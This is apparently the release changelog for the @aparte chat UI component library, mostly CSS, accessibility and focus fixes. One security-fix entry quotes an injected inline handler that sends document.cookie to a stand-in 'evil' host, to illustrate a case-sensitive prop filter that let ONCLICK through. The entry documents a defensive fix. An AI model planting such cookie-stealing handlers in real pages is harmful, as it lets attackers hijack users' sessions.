    Without @aparte/plugin-marked or @aparte/plugin-streaming-markdown, scripted text streams as plain text, **stars** included. The docs said “parsed by core”, which is not what ships: core deliberately has no markdown renderer. Wording only. @aparte/provider-scenario

  • 8f9d56f: A scenarios-mode tool call without its after route warns at creation.

    when plus a turn containing a tool is perfectly plausible to write — and the default match then routes the tool result back through the same when: identical rounds until the client’s maxTurns error. The hole is visible at creation, so it is said at creation, naming each unrouted tool. Ordered turns mode and a custom match are exempt. @aparte/provider-scenario

0.16.8

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • 50085e8: Five calibration decisions from the image audit: the bubble’s corner is the theme’s --aparte-radius-bubble (12px, it was a 14px literal); a control’s edge has its own token, --aparte-border-control, read by the field, the field group, the choice controls and the select trigger; the icon scale is in rem on the type factor (--aparte-icon-size defaults to 1rem, was 14px; sm 0.75rem, lg 1.125rem, xl 1.25rem); the elicitation rows’ radius is the md step; and a disabled button, field or select is drawn — a neutral ground and the muted ink — instead of faded with opacity. The composer’s gated state no longer fades the whole composer.

    --aparte-border did two jobs, separating regions and bounding controls, and six previews showed a control with no visible edge; the new token is derived from the ink and the ground so both schemes follow, and its mix is a first setting. The icon scale was the one scale in the theme pinned in px while every type size followed --aparte-font-scale, so a glyph beside text shrank optically when the reader enlarged the text. Opacity on a disabled control faded the glyph with its ground and read at 2:1 on the send button; “inactive” and “disappearing” are not the same message. Menu items, option rows and a tag’s ✕ keep the opacity for now. @aparte/core

  • 31ccbc2: center-empty centres the welcome group itself: while the chat is empty, the rows’ wrapper carries no block padding, so the empty viewport takes no room in the centred stack.

    Measured on the built demo at 768: the chat’s centre at 240, the visible group’s at 256. The empty viewport still stood 32px tall — the wrapper’s block padding with no row in it — and justify-content: center centred three items of which the first was invisible. The padding goes, not the box: capping the viewport at 0 would leave a 32px scroll surface inside a 0px box, which the browser smoke test every example runs (“an empty transcript must not overflow”) refuses. Framework mode is untouched — there the viewport is the scroll surface and may hold the wrapper’s own empty-state content. @aparte/core

  • 7e5910a: <aparte-chat submit-on-enter="false"> now reaches the composer it composes, and the menu, popover, dialog and tooltip each get a radius knob (--aparte-radius-menu, --aparte-radius-popover, --aparte-radius-dialog, --aparte-radius-tooltip).

    The shell forwarded placeholder and disabled only, so the one switch every wrapper exposes as submitOnEnter had no vanilla spelling short of reaching inside for the composer. It is forwarded by value (the bare attribute keeps the default, Enter sends) and observed, so a toggle after mount follows. The four floating surfaces read a step of the radius scale directly, the only family without a knob of its own: a theme that wanted square menus and round bubbles had to move the scale step and every other reader with it. Rendering is unchanged; the four knobs default to the steps the sheets read before. @aparte/core

  • 316eaa7: The action bar’s first glyph starts on the text column; every inline recipe of the kit sits on the midline (vertical-align: middle); the avatar’s initials, corner and group overlap scale with its size — --aparte-avatar-initials-ratio, --aparte-avatar-radius-ratio and --aparte-avatar-overlap-ratio replace the absolute --aparte-avatar-font-size, --aparte-avatar-radius, --aparte-radius-avatar and --aparte-avatar-group-overlap — and the assistant avatar’s text is the text colour.

    The most reproducible defect of the audit: in 14 previews the first action button’s ink began 5 to 8px right of the paragraph above it, because a glyph is centred in a 24px box; the bar takes that slack back. Inline boxes fall on the baseline unless they say otherwise, and none did: the icon button rode 3px above its neighbours, three spinners shared a bottom edge instead of a centre. The 40px avatar drew the same 11px initials as the 32px one, its corner drifted from squircle to square up the ramp, and a 6px overlap was a fifth of a small avatar and a tenth of a large one — the fractions are computed on the element so a size modifier moves them. @aparte/core

  • 94c44a7: The documented @cssprop defaults now match the stylesheets (61 of 172 were stale), and the reflected state attributes the shipped CSS keys off — data-empty on the chat, data-panel-active/data-panel-mode/data-model-gated on the composer, data-busy on the viewport — appear in each element’s attribute table like their siblings already did.

    The default in a JSDoc tag is a hand copy of a value that lives in a sheet, and the two had drifted: radii off by half, paddings in pixels where the sheet reads the spacing scale, the attachment tile documented at 40px on one page and 56px on another when the theme says 72px. The generated component pages print that default, so a reader tuning a knob started from a value the sheet never had. Every default is now the stylesheet’s value character for character, and a test keeps it so (the source of truth is a :root declaration in theme.css, else a scoped declaration, else the fallback of the var() that reads the knob). Also on the chat page, the hand-composed markup example no longer ends up inside the --aparte-chat-bottom-gap table cell, and the sidebar’s data-drawer is documented against breakpoint rather than a hard-coded 48rem. @aparte/core

  • e4a3e86: Every button core renders is type="button", so a chat placed inside a host <form> no longer submits it when a reader copies a code block, presses a branch arrow or clicks an action; the code block’s copy button carries an aria-label; the reasoning panel is a focusable, named region.

    Thirteen emitted buttons had no type (the bubble’s action bar, branch arrows and edit controls, the composer’s send and stop buttons, the code block’s copy button) and one custom action button was created without one — and a button with no type is a submit button. The copy button was also the one icon button in core named by title alone, which a screen reader does not read; its accessible name now follows the “copied” confirmation too. The reasoning panel is a scroll container (max-height + overflow-y: auto) and had no tab stop, so a keyboard reader on Safari could not scroll it; it is role="region" with tabindex="0", named after its label. A source test now refuses a new untyped button. @aparte/core

  • b20565d: The error segment wears the alert recipe’s parts (aparte-alert__icon, __body, __title, __message; its details block is aparte-segment-error__details), a card’s body folds its content’s outer margins into its padding, and the overlaid composer casts a shadow (--aparte-composer-overlay-shadow).

    Also: hidden now hides any element wearing an aparte- class — a recipe’s own display used to outrank the browser’s [hidden], so a hidden button stayed painted (the copy button of a tool-only turn, on the built preview).

    The error renderer put the recipe’s class on its root and redrew every part under classes of its own — aparte-error-icon-wrapper, -content, -title, -message, -details are gone, and so are the tokens only they read (--aparte-error-icon-size, a 20px literal among derived values, and --aparte-error-title). The card body let a paragraph’s margins stack on its padding, so the sheet’s own example measured a body twice the height of its header. Under overlay-composer the composer floated over the transcript with a z-index and the transcript’s own ground: a thing that floats has to be seen floating. @aparte/core

  • 2e8f3ed: The examples the kit pages render are specimens now: the accordion shows three items, the danger alert carries its icon, the skeleton keeps the family’s own block height, the app-shell shows a populated sidebar, header and transcript, the split’s second pane is a styled document with a colour scheme, the scroll-rail and elicitation examples carry a complete composer, and every chat example is sized in rem. The tool row’s approval label reads “Waiting” (was “waiting for you”) and wears a pause glyph — the one capitalised word plus a glyph its sibling states use; pause joins the built-in glyphs.

    Measured on the built previews: 34 of the 59 kit previews render a header example or an @example verbatim, so those strings are the showcase, not documentation — and they had been written as excerpts. One accordion item let :last-child remove the only rule the family draws; the --danger alert without an __icon beside an --info with one zig-zagged the left column by 23px; block-size: 64px inline contradicted the skeleton’s 5rem token; height: 320px sheared the chat’s first turn at 375. A test now holds the three rules for every sheet and element: enough instances for the relation rules to exist, every documented part present, no hard pixel value against a token of the family. @aparte/core

  • a62abf9: Field groups and the colour field get their corners back; the field family’s knobs now live on :root.

    --aparte-field-radius was declared on .aparte-field itself and read by .aparte-field-group (the field’s parent) and .aparte-color (a sibling recipe). A custom property only inherits downwards, so both computed border-radius: 0 — every field group in the library rendered square (the sidebar’s search, a https:// prefix group). Measured 0px → 9px. Thirteen field knobs (paddings, radius, textarea height, checkbox/radio/switch/range sizes) move to theme.css beside the button’s, where the theming guide sends you and where every other family’s knobs already are. Values are unchanged; the elicitation panel’s own overrides still win inside it. @aparte/core

  • 28b9ead: The branch picker’s arrows are glyphs from the icon provider (so setIconProvider({ prevBranch, nextBranch }) now reaches them), menu and alertTriangle join the built-in glyph set, download and stop are redrawn on the 24-unit grid the rest of the set uses, and a menu that holds a checkable item reserves the check gutter on every item.

    The bubble wrote and as text — hairline characters beside 2-unit SVG strokes in the same row — while the two glyphs already existed and were registered as provider keys nothing read. The app header’s documented toggle drew as text because menu lived only in the extended set behind @aparte/core/icons, and the alert recipe’s documented <aparte-icon name="alertTriangle"> drew a 16px hole for the same reason; core’s documented markup is core’s drawing, so both move in (the extended set no longer exports them). Two of the 28 glyphs were on a 16-unit grid and painted their stroke 50 % heavier than their siblings. The menu’s check gutter was reserved per checkable item, so a plain item beside a checkable one started 16px further left; a panel with any checkable item now reserves it on all of them. @aparte/core

  • 1c5fc64: The two spinners share one stroke, in screen pixels; a determinate ring has a visible track; every pulsing dot pulses in opacity alone, above a named floor (--aparte-pulse-floor); the context gauge’s ring is as heavy as its bar. And the shapes that have to be seen draw themselves: --aparte-track is the ground of a gauge or a skeleton (derived relative to the page), the user bubble is tinted like every other mark, the scrim has a dark value, the scroll rail is as wide as its widest tick and its ticks rest in the control-edge colour. --aparte-spinner-stroke and --aparte-context-ring-stroke are gone (the rings read --aparte-spinner-thickness and --aparte-progress-height).

    The SVG spinner stroked at 2.5 viewBox units — 1.67px in a 16px box, antialiased, 50 % off its CSS sibling — and its track sat at 15 % of the ink, so a determinate 62 % was the percentage of a circle nobody could see; vector-effect: non-scaling-stroke makes the SVG’s weight the CSS ring’s whatever the size. The shared pulse moved in scale as well as opacity, so a row of waiting dots changed width in a loop, and its 0.3 floor left the status dot at 1.55:1 for half of every cycle. A skeleton of one line no longer renders at 60 % of its width. The values on the new tokens are first settings; the names are the fix. @aparte/core

  • d79813f: The spinner, the skeleton, the indeterminate progress bar and the status dot stop under prefers-reduced-motion: reduce instead of flickering.

    The duration tokens were already reset to 0.01ms under that media query, but a 0.01ms cycle with infinite left in place is not stillness: the recipe keeps repainting at a random phase every frame. The descendant sweep in responsive.css only reaches elements inside aparté’s own custom elements, so a recipe used in a consumer’s own markup got neither. Each looping recipe now stops itself with animation: none, the way the spinning icon already did. The skeleton also drops its shine (a stopped gradient sat as a pale band) and the indeterminate bar fills the track (a stopped segment sitting at one spot read as a value). A stylesheet test now asks the same of every looping animation in core. @aparte/core

  • 7774e65: The composer’s box now starts where the transcript’s rows start, at every width: the viewport measures its own inset (padding plus the scrollbar gutter it reserves) and publishes it on the chat host as --aparte-transcript-inset; the composer pads by it, with the old --aparte-viewport-padding as the fallback when no viewport sits beside it.

    Before, the two were independent stacks. The transcript’s rows sat inside a padding plus the gutter the scroller reserves on both edges, the composer inside a flat padding — 10px apart at 768, the gutter’s half apart at 1280 — and the container query that tightens the transcript under 520px could not reach the composer, which is a container of its own. The composer cannot know the gutter and a query cannot cross it, so the element that knows now says it. The property is written on the HOST, not on the viewport: the composer is a sibling, and a custom property only travels down. @aparte/core

  • fee67b7: One focus ring for every control: a 2px outline in --aparte-border-focus, one spacing step OUTSIDE the box (--aparte-focus-outline-offset is var(--aparte-space-1), it was −2px). The soft box-shadow ring (--aparte-focus-ring), the field’s error ring token, the button’s private offset and the select’s --aparte-select-ring/--aparte-select-border-focus knobs are gone; an invalid field’s ring takes the error colour, a field group draws the ring for the field inside it, and the select’s search field is the one documented exception (its ring is inset, an outset one would be clipped by the scrolling panel).

    The kit drew keyboard focus two ways — seventeen recipes with a solid outline, five with a soft wash at 30 % of the accent that measured 1.39:1 against the page, an indicator that was absent rather than weak — and four of the outlines took the control’s intent colour rather than the focus colour. Inside the box, the ring sat 2px from a bordered row’s edge as a second concentric line, and the next row painted over it. The forced-colors block no longer restates outlines that now exist. @aparte/core

  • 735ca53: Every control has a height from one scale — sm 24 · md 32 · lg 36 · xl 40 — and control text is the 14px step: a text button is as tall as an icon button (min-block-size), the field rests at 36 (--aparte-field-size; --sm/--lg one step either side), a button inside a field group takes the field’s height, the select trigger is a field, and the composer’s controls are 36 at rest and the touch target under a coarse pointer (--aparte-composer-control-size, now a declared knob).

    Measured across the previews, 18 of 59 showed two controls side by side at different heights, and the number that kept coming back was 23px: the text button, which had no height at all, beside 24, 29, 32, 36 and 44px neighbours. The scale had three steps that only --icon and --circle read, and a 36px family (send, the input’s action button, the scroll button) that lived off it as literals — it is the named lg step now, and the old 40px step is xl (.aparte-btn--xl; .aparte-btn--lg is 36px, which is what the scroll button already measured). Control text moves from 13px to 14px on the button and the field; --sm and --lg become three distinct steps again. The desktop composer was a 62px bar around 15px of text because its control size defaulted to the touch target everywhere; it is 36 at rest and 44 under (pointer: coarse), which is what that block was for. @aparte/core

  • 212aebd: At a phone’s width the kit folds: the app shell recipe becomes one column under 48rem (the sidebar element already left the grid as a drawer, the grid kept its column anyway), the split’s minimum is min(20rem, 100%) so a pane can never ask for more than the viewport has, and a modal dialog on a phone is a bottom sheet as tall as its content, capped at the screen and clear of the safe areas — it used to stretch a label, a field and two buttons over a 100dvh sheet glued to the physical edges.

    Measured on the 375px captures: the shell gave 259 of its 303px to the sidebar and left the chat a 43px band with the send button cut in half; a 20rem floor on a 375px screen annihilated the end pane to 0px; 586px of empty sheet under a three-control form. @aparte/core

  • 28b9ead: The spinner, the menu, the popover, the tooltip and <aparte-chat> are box-sizing: border-box, so their tokens and an author’s height are the box they paint; a tooltip is as wide as its label.

    Core ships no global reset on purpose, and these recipes set a size and a padding or border in the same rule, so they painted larger than their token under the browser’s default: the spinner 16/20/28 for tokens of 12/16/24, the popover 342px for a cap of 320, <aparte-chat style="height: 320px"> 336px with a split’s seam hanging 16px below both panels — and the token’s value only on a host page with a border-box reset of its own. The tooltip declared a max-width and no width, so as a positioned chip it shrank to its widest word: “Copy to clipboard” broke into two lines at every width. It is width: max-content now, with the same cap. @aparte/core

  • c9529d2: A tool call’s state sits beside the tool’s name, the reasoning block’s chevron sits beside its label, the context gauge’s bar has a measure (16rem), and the starter suggestions take the composer’s column.

    An unbounded margin-inline-start: auto pushed the two ends of one line 554 to 1180px apart on a wide host: the state 596px from the tool name, “Reasoning” 692px from its chevron, a 1046×4px gauge, chips 188px off the composer once the host passed its cap. What belongs to a label sits beside it; what belongs to a column takes its measure. The accordion recipe keeps its chevron at the end — that is what an accordion is. @aparte/core

  • d78b150: <aparte-select> now honours placeholder and disabled written after mount, its presence setters (and <aparte-option>’s, <aparte-optgroup>’s) accept the empty string as ON, the unread grouped attribute is gone, and a loading group says loading from the locale instead of “Fetching models…”.

    Both attributes were observed and neither had a branch in the change callback, so a placeholder rewritten by a locale switch left the visible label and the combobox’s aria-label in the old language, and a select disabled after mount kept a trigger in the tab order, announced as operable. The trigger now takes aria-disabled="true" and tabindex="-1" while disabled (an open dropdown closes), and the label and both aria-labels follow the placeholder. Five setters (open, selected, disabled, collapsed, loading) still read '' as false, so a Svelte 5 template that set them removed the attribute; they use the same spelling as the split and the sidebar now, and one test enumerates all nine presence setters in core. grouped was observed and read by nothing (groups render from <aparte-optgroup> children alone); it leaves the attribute list and the docs. New locale key: loading (default “Loading…”). @aparte/core

  • 9337dd2: Five rendering bugs found by looking at every preview: the reasoning block’s chevron turns again when it opens; an <aparte-icon> inside .aparte-btn takes the button’s icon size; code blocks are set in the code typeface at a code size; the message row’s padding follows the narrow container again; and a turn with nothing to copy shows no copy button. Attachment tiles now use the thumbnail recipe’s part names — aparte-thumbnail__image and aparte-thumbnail__label replace aparte-thumb__img and aparte-thumb__ext — and the composite --aparte-message-padding token is gone (read --aparte-message-padding-block and --aparte-message-padding-inline).

    Each was a form defect, not a palette one. The thinking renderer put its glyph straight into the <summary>, so the accordion recipe’s rotation rule matched nothing — and the recipe’s own documented markup, a bare <aparte-icon> in the header, matched nothing either; both forms are sized and turn now. button.css sized .aparte-btn > svg, and <aparte-icon> renders its svg one level deeper, so the documented markup kept a 14px glyph in a button that asked for 16; the recipe now feeds --aparte-icon-size, the icon’s own knob, which also sizes the accordion chevron. The code block’s <pre> declared no font-family, font-size or line-height and fell into the browser’s generic monospace at the prose’s size — two theme tokens, --aparte-code-block-font-size and --aparte-code-block-line-height, now carry them. --aparte-message-padding joined its two parts on :root, where a custom property is substituted, so the container query that reassigned the parts on .aparte-message never reached the row; a test now refuses any composite token whose parts are redeclared elsewhere. The copy action was offered unconditionally and copied '' on a tool-only turn. The tile parts were drawn twice under two vocabularies, the documented one emitted by nothing; one survives. --aparte-thinking-toggle-size, unread since the chevron became a glyph, is removed. @aparte/core

  • 7826e07: The sidebar’s four regions (header, search, body, footer) indent by one new token, --aparte-sidebar-inset (12px); the selected conversation’s mark follows the row’s radius; and the tool row’s chevron, its part labels and icon, the code header’s language label and the branch picker’s disabled arrows are coloured with the muted ink instead of faded by an opacity.

    Measured on the built previews: the sidebar’s header and footer padded 16 while its search and body padded 12, so a 260px column showed its content on two vertical axes and the app-shell demo four left edges; the 2px selection bar stood square in a 9px-rounded corner with a sliver of the page’s ground between the two; the tool row’s disclosure chevron at opacity: .5 sat at 3.00:1, exactly on the WCAG floor, and it is the control that reveals a delete_file’s arguments; the code language label was already muted and then multiplied by .7; the disabled branch arrow read at 1.74:1 — as absent, not as disabled. Quiet is a colour: opacity on a container fades the glyph with its ground and cannot be reasoned about against any background. The mark is now painted as the first pixels of a row-sized pseudo that inherits the radius — not overflow: hidden on the row, which would clip the title button’s focus ring. @aparte/core

  • 100d089: A [data-aparte-sidebar-toggle] control now carries aria-expanded and aria-controls, kept in step by the sidebar whoever changes the state, and the open drawer keeps Tab inside it.

    The toggle opened and closed the sidebar without announcing its state, while the conversation row’s own button already did; the sidebar gives itself an id when the host wrote none, so the control can point at it. Tab from the drawer’s last control used to walk out under the scrim onto the transcript it was covering; it wraps to the first control now, and Shift+Tab the other way. No focusin guard was added on purpose: it would steal the focus back from a dialog the drawer’s own content opens onto <body>. @aparte/core

  • fee67b7: A skeleton text line holds the place of the line it stands for: its height is the content’s font size and its gap the rest of the content line (--aparte-skeleton-text-height, --aparte-skeleton-text-gap are derived from --aparte-content-font-size and --aparte-content-line-height).

    The bar was 12px on an 18px step while a line of content is 16px on a 27px step, so the text that replaced it jumped by a third of a line per line. A placeholder that does not hold the place it promises is not a placeholder. @aparte/core

  • dc4a7b7: The bubble’s action bar, its branch arrows and the conversation row’s are all the button recipe’s small step (24px); the select trigger declares its own font size and reads the theme’s --aparte-radius-select.

    Three controls redrew their own box over the recipe: the arrows set width and height to a 20px token while the element also carried --sm (24), the did the same at 20, and the action bar fed 28 with a 24 exception for the last user turn — three control heights in one row. They feed the recipe’s token or wear its modifier now, and under (pointer: coarse) the takes the touch-target size like the other four. --aparte-branch-picker-btn-size and --aparte-branch-picker-btn-icon-size are gone; --aparte-action-bar-btn-size and --aparte-conv-action-btn-size default to var(--aparte-btn-size-sm). The select’s trigger declared no font-size at all and took the host page’s, so every integrator saw a different select; it reads the control step. Its radius existed twice under two names with two values — the private --aparte-select-radius is gone, the theme’s --aparte-radius-select stays. @aparte/core

  • fee67b7: The split’s seam is a 1px line (--aparte-split-seam-width, the kit’s border width) painted inside a 12px track (--aparte-split-handle-size, it was the 4px painted seam), with a grip under the pointer and while dragging.

    One token sized both the grid track and the painted line, so the seam could not be thinned without moving the layout; at 4px it was four times the kit’s rule and had nothing to take hold of — an interaction drawn as a decoration. The panes give up 8px between them; the grab zone is what it was on a fine pointer and the touch target on a coarse one. @aparte/core

  • 1f89afc: The segmented tab track is as wide as its chips (not its container), its selected chip is raised on both grounds, the tab panel shares the tab’s inline inset; the elicitation’s recommended option keeps its ground while focused, and the options sit far enough apart for the focus ring to show whole.

    .aparte-tabs--segmented was a block-level flex row and painted 1207px of track for 160px of chips at 1280; it is inline-flex. Its selected chip was an absolute surface level — raised in light, sunken in dark — and now carries a 1px ring in the border colour. The panel had no inline padding, so its text hung 11px left of the tab above it. In the elicitation panel the recommended option, the one that takes focus on mount, was the only row with no ground: the rule that cleared its tinted border under focus cleared its background too. And the options sat 2px apart, narrower than the focus ring’s outset, so the next row painted over the ring’s bottom edge; the gap is 6px. @aparte/core

  • dc4a7b7: data-side="top | bottom | start | end" places a tooltip against its trigger — wrap the trigger in .aparte-tooltip-anchor — and turns the arrow to match; --aparte-tooltip-gap is the distance. No inline positioning needed any more.

    The recipe drew the box and the arrow and left the placement to two inline styles in its own example. A demo that needs inline styles to work is a recipe with a parameter it forgot. Flipping a tooltip that would leave the viewport stays out: that needs script, and it is a positioning library’s job. Without data-side nothing is positioned, as before. @aparte/core

  • 54ab107: The type ramp rises in the order of its names: --aparte-font-size-lg is 1.0625rem (above the body’s base, it was 0.875rem — below it), and --aparte-font-size-xl (1.25rem) and --aparte-font-size-2xl (1.5rem) exist. Every reader of the old lg moved to the step it meant: the text a person types is the body size, a sender name sits one step under the prose, a card title is above its body, an elicitation question is larger than its options, a dialog title takes the new lg, the large field and the large buttons speak at the body size.

    Measured: a welcome title and a placeholder at the same size, a card’s title smaller than its body, a full-screen dialog’s title at 14px, and the typed text the smallest in the chat. A scale whose name lies is worse than a short one. The artifact card’s labels that read lg for “a notch above the control text” now read base or md, so they keep their size. @aparte/core, @aparte/plugin-artifacts

  • 7e5910a: <aparte-model-selector disabled> disables the picker, and inside an <aparte-composer> the picker follows the composer’s own disabled — it used to stay fully operable while the field and the send button around it were inert. @aparte/plugin-model-selector

  • d78b150: Stops writing the grouped attribute on its <aparte-select>: the select never read it, groups render from the <aparte-optgroup> children alone. @aparte/plugin-model-selector

  • 2e8f3ed: approvalWaiting reads « En attente » (was « en attente de vous »): one capitalised word, the shape every other tool state uses in the row. @aparte/locale-fr

  • d78b150: Adds loading (“Chargement…”), the text an option group shows while its options are fetched. @aparte/locale-fr

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/docs-mcp.

0.16.9

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • 2b1d809: A composer inside a chat host that has an id now stamps that id on aparte-send; on a page with two raw-core chats the reply no longer lands in the wrong one.

    submit() read the bare target attribute. All four wrappers set it, so nothing changes there — but the documented quick start writes its markup by hand and nothing sets target, so every send from raw core carried targetId: undefined and the host delivered the answer to whichever chat it resolved first.

    The composer’s other outbound path, cancel(), already resolved through _ownTargetId() — the attribute if a wrapper set one, else the id of the <aparte-chat> / [data-aparte-chat] host above. submit() now resolves the same way, which is the invariant cancel()’s own docblock states: both sides answer the question “which chat am I” identically. @aparte/core

  • df0d60e: The ✕ that removes a pending attachment is 24px on touch, not 18px.

    It is the only way to drop a file attached by mistake, and 18px is under the 24 of WCAG 2.2 SC 2.5.8. The coarse-pointer block already made the button visible there — a finger cannot hover — but left it at the size a mouse gets.

    24 is not a new number: it is the box aparte-btn--sm already draws (--aparte-btn-size-sm: 24px), so the component simply stops out-specifying the recipe on touch. Not the 44px --aparte-touch-target-size its neighbours take: the composer’s pending tile is 56px (--aparte-attachment-image-size, set on aparte-composer-attachments), so a 24px ✕ is already 43% of its edge and a 44px one would cover most of the picture — matching the neighbours properly means growing the tile too, a separate decision. @aparte/core

  • 60e33eb: The composer’s editor is exactly the control height at rest: its block padding derives from the control size and its own line (--aparte-input-padding-y: calc((var(--aparte-composer-control-size) - 1lh) / 2)), so the send and attachment buttons share the editor’s centre on one line and follow its last line when the text wraps.

    Measured on the built preview at 768: 36px buttons beside a 44px editor (10px of padding, a 24.3px line, 10px of padding) in a row aligned at the end, so the send button sat 4px below the editor’s centre. A consumer who had set --aparte-input-padding-y keeps what they set; the default alone moves. @aparte/core

  • 7fbd763: Cancelling or saving an inline message edit returns the focus to the bubble’s action bar instead of dropping it to the top of the page.

    Both exits destroy the element that holds the focus: the editor node is removed, and the action bar is rebuilt with innerHTML, so the ✓ / ✗ buttons go with it. Focus fell to <body>, and the next Tab restarted at the top of the document — a reader who edited the fourth message of a long transcript had to walk all the way back down to it.

    The bubble now remembers the data-action of the button the editor was opened from and focuses that action again on the way out. The string, not the node: the bar’s markup is rewritten twice between the two moments, so the node identity cannot survive. When the focus was outside the bubble when the editor opened, nothing is remembered and nothing is pulled back — that would be theft, not a restore. @aparte/core

  • 79a55a3: Reaching the elicitation panel’s “Other…” radio with the arrow keys now reveals the text field without moving the focus into it; a click or Space still focuses it.

    Arrow keys select as they move inside a radiogroup, so the change they fire is not consent. Focusing on it carried a keyboard reader out of the group with no activation at all — WCAG SC 3.2.2 and its F36 failure, the same rule this panel already follows when it makes one choice one button. @aparte/core

  • 204343f: Lifecycle events (aparte-message-start/-done/-error/-aborted, and the tool-approval request) now carry the chat’s id when the render target is a shell’s viewport, so a second chat on the page no longer answers to the first one’s turn.

    The stamp read target.id, and the target is whatever RENDERS: an <aparte-chat> shell delegates rendering to its .viewport, which has no id of its own. So on every shell-shaped chat the events went out with targetId: undefined — and the receive side reads a missing id as “for me”, deliberately, so a single-chat page needs no wiring.

    On a two-chat page that made one chat’s turn drive every composer: chat B finishing re-enabled chat A’s send button mid-stream and evicted A’s open elicitation panel, so the question vanished under the user’s cursor while A’s tool call kept waiting. The client now resolves the id by climbing to the chat host — the same rule aparte-composer uses to identify itself, so the two halves of the channel cannot disagree — and target.id remains the fallback, which is correct for the viewport-only chat shape. @aparte/core

  • 4cfda77: Uppercase and mixed-case on* props (ONCLICK) are now dropped like lowercase ones; they previously became live inline handlers.

    applyElementProps — what the React and Angular wrappers use to spread a consumer’s prop bag onto an aparté element — refused onclick but tested the key with key.startsWith('on'), which only ever matched the lowercase spelling. An attribute name is case-insensitive, so { ONCLICK: 'fetch("//evil/?" + document.cookie)' } fell through to setAttribute and wrote exactly the onclick the branch existed to refuse.

    The check is now key.toLowerCase().startsWith('on'), the idiom core’s sanitizer already uses. The lowercasing is scoped to that one branch: a CSS custom property IS case-sensitive, so the -- branch keeps the key it was given. @aparte/core

  • 8a77487: The sidebar drawer keeps the keyboard when its search filter hides rows: Tab wraps from the last visible control instead of walking out onto the page under the scrim.

    The trap listed its stops with querySelectorAll and treated the DOM-last one as the end of the drawer. The drawer’s own search field hides non-matching rows with hidden, and a hidden row’s buttons hold no tab stop — so after typing one letter the “last” stop was unreachable, the wrap never fired, and Tab from the last control a reader could actually see left the drawer for the transcript underneath. Opening the drawer had the same blind spot: it focused the DOM-first control even when that one was hidden.

    Both now count only what a reader can reach ([hidden] ancestors excluded, plus checkVisibility() where the browser offers it, which also catches a display: none from a host stylesheet). @aparte/core

  • 7fbd763: Leaving a bubble’s inline editor now lands on a button the reader can actually use, and moves the action bar’s tab stop with it.

    The restore added in the previous patch focused the button that opened the editor, but stopped there, and two cases in its own subject — the reader must not lose their place — still lost it.

    The bar is a role="toolbar": one tab stop that the arrows move. Rebuilding it parks that stop on the first button (copy), so focusing edit put the reader on a tabindex="-1" member — Shift+Tab out and Tab back returned them to copy, not to the button they were on. The restore now sets the stop before focusing, the same two lines the arrow-key handler already uses.

    And the remembered action can come back disabled — the reader sent from the composer mid-edit, so the transcript is busy and edit is rebuilt disabled — or gone, if the action was turned off while the editor was open. focus() on a disabled button is a no-op, so the focus fell to <body>: the exact bug, silently. The restore now falls back to the bar’s first enabled button. @aparte/core

  • 204343f: Retry and edit no longer put empty assistant turns on the wire: a failed turn, or one stopped before its first token, is dropped the same way send drops it.

    Send, retry and edit all answer the same question — what did this conversation say so far? — and they answered it with two different pieces of code. Send filtered out errored turns and anything whose wire text came out empty; retry and edit kept every user and assistant row whatever its status, so a failed turn reached the model as { role: 'assistant', content: '' }. Some providers reject that outright; the rest read it as an empty reply worth imitating.

    The slice stays each caller’s own business — retry cuts before the reply it regenerates, edit after the message being reworded, send at the last answered turn. What a message contributes to the wire is now one rule the three of them share. @aparte/core

  • 191aa24: The <aparte-chat-status> caveat names the tokens the sheet actually reassigns (--aparte-message-padding-block / -inline); the theming guide and the landing page stop offering two variables 0.16.8 removed.

    --aparte-message-padding was split into -block / -inline and --aparte-avatar-radius became --aparte-avatar-radius-ratio (a fraction of --aparte-avatar-size, not a length — the guide now says so, because swapping the name and passing 6px is the natural next mistake). Both kept being offered: in the theming guide’s grouped token list, in the status element’s own JSDoc — which the generated component page reprints — and, for the avatar one, in the landing page’s three-line “one instance, three variables” snippet, the page whose whole job is to make the theming promise credible.

    A name that does not exist fails in silence: the declaration is invalid at computed-value time, the property inherits, and the page looks almost right. That is the exact failure the same guide has a section warning about, so the pages taught the mistake they teach you to avoid. check:derived-vars now reads variable names out of that prose — the two pages plus every JSDoc block in core’s and the plugins’ source — and refuses one the library cannot answer to; a family prefix (--aparte-code-*) and a line marked undeclared-on-purpose are the two exceptions, the second for the guide’s own worked example of a name core does not declare. @aparte/core

  • 2b1d809: Closing or evicting a composer panel no longer steals the focus: the caret stays where the reader put it unless focus was inside the composer.

    _teardownPanel() ended on an unconditional this.focus(), which forwards to the composer’s editor. So every close moved the caret there — including the one nobody asks for: a turn ending evicts any open panel, and a turn ends because the model finished. A reader who had moved to another chat’s field, a search box, or a link was pulled back mid-keystroke.

    It now asks first, and asks BEFORE removing the panel: removing the focused element drops focus to <body>, after which the question has no answer. That is the reasoning <aparte-elicitation>’s own restoration already records — and its guard was being defeated by this one, since the teardown ran first and put the focus back inside the composer, which made “was the reader still in the panel?” answer yes. @aparte/core

  • 04b9dd0: The scroll rail’s first and last tick are full 24px targets: the rail pads its block axis so its own clipping no longer cuts them in half.

    --aparte-scroll-rail-hit-size grows the pressable zone symmetrically around the drawn line — half of hit − thickness above it and half below. aparte-scroll-rail clips (overflow: hidden, which cuts at the padding box) and had no padding, and .aparte-scroll-rail__list has none either, so the first tick’s top edge sat exactly on the clip line: its upper 11px were cut, and the last tick’s lower 11px with it, for paint and for hit-testing alike. Two 13px targets, under WCAG 2.5.8’s 24px — and they are the two a reader aims at most, “jump to the first message” and “jump to the latest”.

    The fix is the room, not a smaller zone: padding-block: calc((hit − thickness) / 2) puts the clip line outside every zone instead of through the two end ones. The inline axis already had this reasoning — it is why a zone grows inward only and why --aparte-scroll-rail-width carries the hit size as a floor — and it simply had not been carried to the block axis.

    What moves if you had measured the rail: it is box-sizing: border-box now, so max-height still means the same outer box, and the ticks get 22px less room inside it — a very long transcript clips one tick sooner. The drawn line, the pitch and every token are unchanged. @aparte/core

  • 04b9dd0: The scroll rail is positioned inside the chat under the Angular wrapper too, and no longer gets pulled back into the flow in overlay mode.

